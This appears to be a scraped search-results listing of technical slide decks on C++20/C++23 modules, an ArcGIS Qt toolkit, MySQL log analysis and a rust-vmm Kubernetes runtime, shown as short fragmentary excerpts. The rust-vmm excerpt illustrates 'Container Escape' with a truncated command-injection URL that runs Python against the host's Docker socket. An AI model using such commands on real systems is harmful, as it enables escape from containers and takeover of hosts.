C++20: An (Almost) Complete Overview constinit consteval co_await co_return co_yield char8_t New identifiers: import moduleModules7 Modules Advantages Replace header files Modules explicitly state what "; } export auto GetWelcome() { return GetWelcomeHelper(); } } Consume a module: // main.cpp import cppcon; int main() { std::cout << CppCon::GetWelcome(); }9 Modules C++20 doesn’t specify if modularize the Standard Library in bigger modules But, all C++ headers are “importable”, e.g. import; Everything in is exported, including macros Improves build throughput; 0 码力 | 85 页 | 512.18 KB | 6 月前3
C++23: An Overview of Almost All New and Updated Featuresnamed modules are introduced: import std; Imports everything from std namespace from C++ headers (e.g. std::sort()) C wrapper headers (e.g. std::fopen()) import std.compat; Imports everything versions of the C wrapper headers (e.g. ::fopen()) Standard Library Modules42 Modern “Hello World”: import std; int main() { std::println("Hello World!"); } Standard Library Modules43 Agenda C++230 码力 | 105 页 | 759.96 KB | 6 月前3
Visualize Time Enabled Data using ArcGIS Qt (C++) and Toolkit• Where: - https://github.com/Esri/arcgis-runtime-toolkit-qt • How: - Clone the repository and import the path in .pro file in Qt Creator - Register your components in main.cppArcGIS Runtime Toolkit0 码力 | 10 页 | 734.09 KB | 6 月前3
Analyzing MySQL Logs with ClickHouse--service-port=9116 © 2018 Percona. 40 Use Advanced Data Exploration Dashboard © 2018 Percona. 41 Import Grafana Dashboard © 2018 Percona. 42 Dashboard Works out of the Box © 2018 Percona. 43 Thank0 码力 | 43 页 | 2.70 MB | 1 年前3
基于Rust-vmm实现Kubernetes运行时AKA Sandbox Isolation. • Container Escape docker.vh.neargle.com:8888/?command_exec=python3 -c "import docker;client = docker.DockerClient(base_url='unix:///var/run/docker.sock');data = client.containers0 码力 | 27 页 | 34.17 MB | 1 年前3
共 5 条
- 1













